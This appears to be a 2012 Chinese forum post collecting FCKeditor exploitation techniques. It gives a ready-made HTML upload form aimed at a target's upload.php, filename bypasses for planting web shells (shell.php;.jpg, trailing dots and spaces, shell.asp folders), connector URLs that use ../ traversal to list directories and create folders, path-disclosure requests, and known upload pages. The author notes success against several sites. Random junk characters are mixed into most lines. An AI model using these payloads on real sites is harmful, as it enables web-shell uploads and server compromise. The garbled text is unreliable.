Fckeditor漏洞利用总结
0 y: a, l- ` H ]: v. e查看编辑器版本
4 a' G5 c8 G% g# b8 rFCKeditor/_whatsnew.html" I. J |. q, X d; C, a' t
—————————————————————————————————————————————————————————————
+ h4 C# Z, G3 h/ y3 y; Z! ^" s2 Y1 \* D6 s
2. Version 2.2 版本
* a) m4 b: x) e" W; c% JApache+linux 环境下在上传文件后面加个.突破！测试通过。
# q9 X% k2 E3 d" W' {7 D+ o—————————————————————————————————————————————————————————————
1 Z' S0 f# _5 e9 B# a! N
; o; y, o6 T/ O( r; Z3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址。8 ~& G* c- Y$ O+ ]5 P9 g
<form id="frmUpload" enctype="multipart/form-data"1 n3 n9 O1 s+ c- R- N/ W3 J# D
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>$ a( H$ L0 `1 l' N
<input type="file" name="NewFile" size="50"><br>
+ W7 x. ?3 j3 D2 H6 v6 v<input id="btnUpload" type="submit" value="Upload">
/ D: d$ W! X+ B) X4 k, j/ r" S</form>
6 Y: l' }& O8 P/ Y* b—————————————————————————————————————————————————————————————' ~4 L9 @& m7 e: }/ I1 s
' b' f. [" k: Z2 A \) }
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
; f `6 k( B, `, G! A N7 c# \9 p 很多时候上传的文件例如：shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。! f2 O2 H! y3 [
4.1：提交shell.php+空格绕过1 \2 m6 u( e" }& n% Z" l W6 c
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。( E1 t3 A/ e: |( N2 W# l
4.2：继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。: C( q/ o5 ^# S% F2 c
—————————————————————————————————————————————————————————————$ ]- ^+ W! X/ Y2 ?
% \0 V9 x; d7 c, l0 E( E- @+ R: R
5. 突破建立文件夹% {" `6 L& C4 R. n
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684% C, Y3 K6 q6 u$ I! {7 ?
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp: S+ ~& o9 p0 n# b( u |2 ^; S6 C
—————————————————————————————————————————————————————————————
S4 S3 I( q$ k$ R( V) K1 I- |8 ]6 F
6. FCKeditor 中test 文件的上传地址
, D" s0 Y& H* ^2 S. G6 r* o' r) p0 xFCKeditor/editor/filemanager/browser/default/connectors/test.html3 h/ `' f. M' x1 ~0 |( J( N! ?
FCKeditor/editor/filemanager/upload/test.html E; m* C3 i% A
FCKeditor/editor/filemanager/connectors/test.html/ \" D! W7 K3 I3 h
FCKeditor/editor/filemanager/connectors/uploadtest.html
- j2 Q5 Q2 @" j7 E/ X/ o—————————————————————————————————————————————————————————————
; a- L8 d+ G: n
. h9 l3 z8 u, g, m" x- |" ^; N1 I+ U7 v: L7.常用上传地址! ?. o( R. n. n3 h. |7 W
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/* ]/ A! W% O6 _6 f0 K
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp" E" w, S! L* n- l
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)% q& v- Y- ?% y6 `! D
JSP 版：, [( H% X" E$ J8 |
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
2 H' g- {# b3 W- l7 e" e注意红色部分修改为FCKeditor 实际使用的脚本语言，蓝色部分可以自定义文' `5 g, n+ i! I! |& ?6 g2 o( t
件夹名称也可以利用../..目录遍历，紫色部分为实际网站地址。
" l; \! ~, n) N2 R/ D# v9 A—————————————————————————————————————————————————————————————4 E* d; A( X& R7 [1 L6 f% M* |6 Y
2 j) p$ V6 s8 t4 i8 e
8.其他上传地址
9 k- \* [1 x. C4 V* k) aFCKeditor/_samples/default.html
+ y6 L5 `) q3 l5 L& L, KFCKeditor/_samples/asp/sample01.asp- f; V" B m& U/ Z' Q1 D- ^
FCKeditor/_samples/asp/sample02.asp
$ F' o8 Z6 v" B7 E! g5 N9 BFCKeditor/_samples/asp/sample03.asp
5 a6 J; b, | N( h& E* sFCKeditor/_samples/asp/sample04.asp5 Z+ Z5 x9 c- M9 e+ ^0 p
一般很多站点都已删除_samples 目录，可以试试。
/ @1 ?6 ^6 y" ~: j2 mFCKeditor/editor/fckeditor.html 不可以上传文件，可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。! Z, G9 [# @( S6 ^4 p/ q2 a
—————————————————————————————————————————————————————————————( V8 a. e, M; G( K# N
# J( h! D, c# Z0 d8 X N9.列目录漏洞也可助找上传地址- k- p5 }4 @4 F' C' I" [8 `
Version 2.4.1 测试通过
6 w9 }4 g5 r5 Q1 C Y3 K7 g$ u& T) f1 m3 i修改CurrentFolder 参数使用 ../../来进入不同的目录
. C/ W8 \. D' l/ V/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
: `5 ]9 k7 w' P) B: w5 h1 E根据返回的XML 信息可以查看网站所有的目录。
~1 y( ^) Y5 E. nFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
4 W" d) ?; x4 |" S5 g9 r也可以直接浏览盘符：" \5 K6 `- j& _
JSP 版本：1 a3 D. [ w# F: k' Y& I. r+ m
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F/ r% T; Y9 B* |% L3 O
—————————————————————————————————————————————————————————————# X9 G1 S% j* r9 S
( J/ F2 P: ^+ |# b) @2 Q1 @3 e10.爆路径漏洞
! L8 k( I" I! h* QFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp. a$ O: b2 P4 C
—————————————————————————————————————————————————————————————- H& d& V0 d9 Y& f; Q2 G
2 e% T( c2 ?5 Y) A3 z. ?# Z0 m11. FCKeditor 被动限制策略所导致的过滤不严问题
4 E \. R1 _1 v( M7 z 影响版本: FCKeditor x.x <= FCKeditor v2.4.3
1 Y/ {$ P* p7 }" C+ N0 ~脆弱描述： Y1 l6 O! H9 P, [- P' i$ O0 o- n5 }
FCKeditor v2.4.3 中File 类别默认拒绝上传类型：$ o# H" Z; ~: |0 g7 k' e7 |- r
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
, y0 L% @$ ~. JFckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName，而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
7 Y7 \% |! y4 n* U5 f" {8 ^ 而在apache 下，因为"Apache 文件名解析缺陷漏洞"也可以利用之，另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码，其限制最为狭隘。
$ c [$ I. `' G 在上传时遇见可直接上传脚本文件固然很好，但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过，也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!% |, @7 W+ q' N7 W: b2 Y
—————————————————————————————————————————————————————————————
" b- m& m+ ?, @9 Q( P$ J) R5 _4 S
1 V3 W. B1 D9 ~4 s- q. R$ t/ O12.最古老的漏洞，Type文件没有限制！
! ^3 ~& m: V& B4 k3 O }1 j+ f 我接触到的第一个fckeditor漏洞了。版本不详，应该很古老了，因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹，一个新类型，没有任何限制，可以上传任意脚本！ 3 w1 k1 e7 U& a/ X/ }- M
—————————————————————————————————————————————————————————————
( O2 [* L) s: j3 }+ u2 X2 M+ u5 \% h
===============================================================================================================================================
1 V/ v; u Y7 P& l" Q
: E+ K/ D' b0 `. {" f; C7 C0 sFCK编辑器jsp版本漏洞：
) P9 J1 t M2 r6 [, X3 C
% n: G: e6 q4 q* [7 g) C' ~3 J! ?( W5 a$ R
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F* v9 j, o, R' \8 V( C
# g* } Q5 _1 Q上传马所在目录1 T8 U3 ]; ^) A5 Y. l
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
4 P4 Y4 Y; x" [5 i: H$ h; ?上传shell的地址:
. g" ^7 H; g4 K% ihttp://www.xxx.com/fckeditor/edi ... ctors/jsp/connector
3 s9 m# H9 y+ _4 h) a! ^跟版本有关系.并不是百分百成功. 测试成功几个站.
6 n) ]5 P. R, f6 j2 U不能通杀.很遗憾./ B9 @0 R' L/ ?2 L7 o' F' k m4 G' R' v
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector- l& k" F+ g0 E+ @7 s
如果以上地址不行可以试试
. R1 G) J x$ zFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector p7 g1 A$ Q; {8 o4 c' ~; n& S
FCKeditor/_samples/
7 O4 U% r+ Y) @4 \5 W# Y rFCKeditor/_samples/default.html1 G& Z0 j! {* m# ?: E" o! S
FCKeditor/editor/fckeditor.htm) w1 f# r0 A, n
FCKeditor/editor/fckdialog.html
" v+ r9 C3 v* T9 [/ O
8 Y8 K' ?& _+ W, A6 G4 ~
1 g r/ D- e! p$ o& d9 Y3 S
; A) I+ h& ^6 |* k) s% K解析漏洞+未重命名文件时上传漏洞 1.asp;jpg$ g6 y7 \9 d+ }$ B
|
发表于 2012-9-13 17:01:39
收藏
支持
反对